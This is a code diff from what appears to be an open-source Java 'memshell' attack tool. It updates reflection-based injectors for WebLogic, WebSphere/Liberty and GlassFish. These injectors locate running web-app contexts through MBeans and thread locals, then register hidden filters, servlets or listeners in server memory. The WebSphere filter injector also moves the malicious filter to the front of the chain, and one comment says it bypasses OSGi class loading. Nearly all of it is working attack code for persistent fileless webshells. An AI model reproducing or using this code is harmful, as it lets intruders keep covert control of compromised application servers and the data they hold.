|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Set<Object> getContext() {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
+31
-78
@@ -1,10 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import javax.servlet.Servlet;
|
import javax.servlet.Servlet;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -45,7 +47,7 @@ public class WebLogicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -80,88 +82,39 @@ public class WebLogicServletInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
|
*/
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
theOneMethod.setAccessible(true);
|
String key = entry.getKey();
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
Object value = entry.getValue();
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Set<Object> getContext() {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
+73
-46
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.websphere;
|
package com.reajason.javaweb.memshell.injector.websphere;
|
||||||
|
|
||||||
import javax.servlet.Filter;
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -9,14 +8,12 @@ import java.lang.reflect.Constructor;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* tested v7、v8
|
|
||||||
* update 2023/07/08
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class WebSphereFilterInjector {
|
public class WebSphereFilterInjector {
|
||||||
@@ -46,7 +43,7 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -87,11 +84,32 @@ public class WebSphereFilterInjector {
|
|||||||
*/
|
*/
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -99,8 +117,9 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -132,43 +151,42 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Object webAppConfiguration = getFieldValue(context, "config");
|
Object webAppConfig = getFieldValue(context, "config");
|
||||||
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||||
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||||
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||||
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
|
||||||
|
|
||||||
Object filterManager = getFieldValue(context, "filterManager");
|
Object filterManager = getFieldValue(context, "filterManager");
|
||||||
|
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
setFieldValue(filterConfig, "name", getClassName());
|
||||||
|
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||||
|
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||||
|
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||||
|
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
|
||||||
|
|
||||||
try {
|
try {
|
||||||
// v8
|
List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
|
||||||
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
uriFilterMappingInfos.remove(filterMapping);
|
||||||
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
|
uriFilterMappingInfos.add(0, filterMapping);
|
||||||
setFieldValue(context, "initialized", false);
|
|
||||||
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
|
|
||||||
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
|
||||||
setFieldValue(context, "initialized", true);
|
|
||||||
|
|
||||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
|
|
||||||
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
|
||||||
|
|
||||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
|
|
||||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// v7
|
// WebSphere7
|
||||||
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
|
||||||
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
|
Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
|
||||||
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
|
uriFilterMappings.add(0, fmInfo);
|
||||||
setFieldValue(filterConfig, "name", getClassName());
|
|
||||||
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
|
|
||||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 清除缓存
|
// 清除缓存
|
||||||
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
|
Object chainCache = getFieldValue(filterManager, "chainCache");
|
||||||
|
try {
|
||||||
|
invokeMethod(chainCache, "clear", null, null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -176,6 +194,19 @@ public class WebSphereFilterInjector {
|
|||||||
return msg;
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// bypass osgi
|
||||||
|
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
|
||||||
|
if (context.equals(Object.class)) {
|
||||||
|
throw new ClassNotFoundException(className);
|
||||||
|
}
|
||||||
|
ClassLoader loader = context.getClassLoader();
|
||||||
|
try {
|
||||||
|
return loader.loadClass(className);
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
return loadClass(context.getSuperclass(), className);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
Exception {
|
Exception {
|
||||||
@@ -255,13 +286,9 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
try {
|
Field field = getField(obj, name);
|
||||||
Field field = getField(obj, name);
|
field.setAccessible(true);
|
||||||
field.setAccessible(true);
|
return field.get(obj);
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+29
-7
@@ -38,7 +38,7 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,11 +75,32 @@ public class WebSphereListenerInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -87,8 +108,9 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
+32
-8
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Properties;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
|
|||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
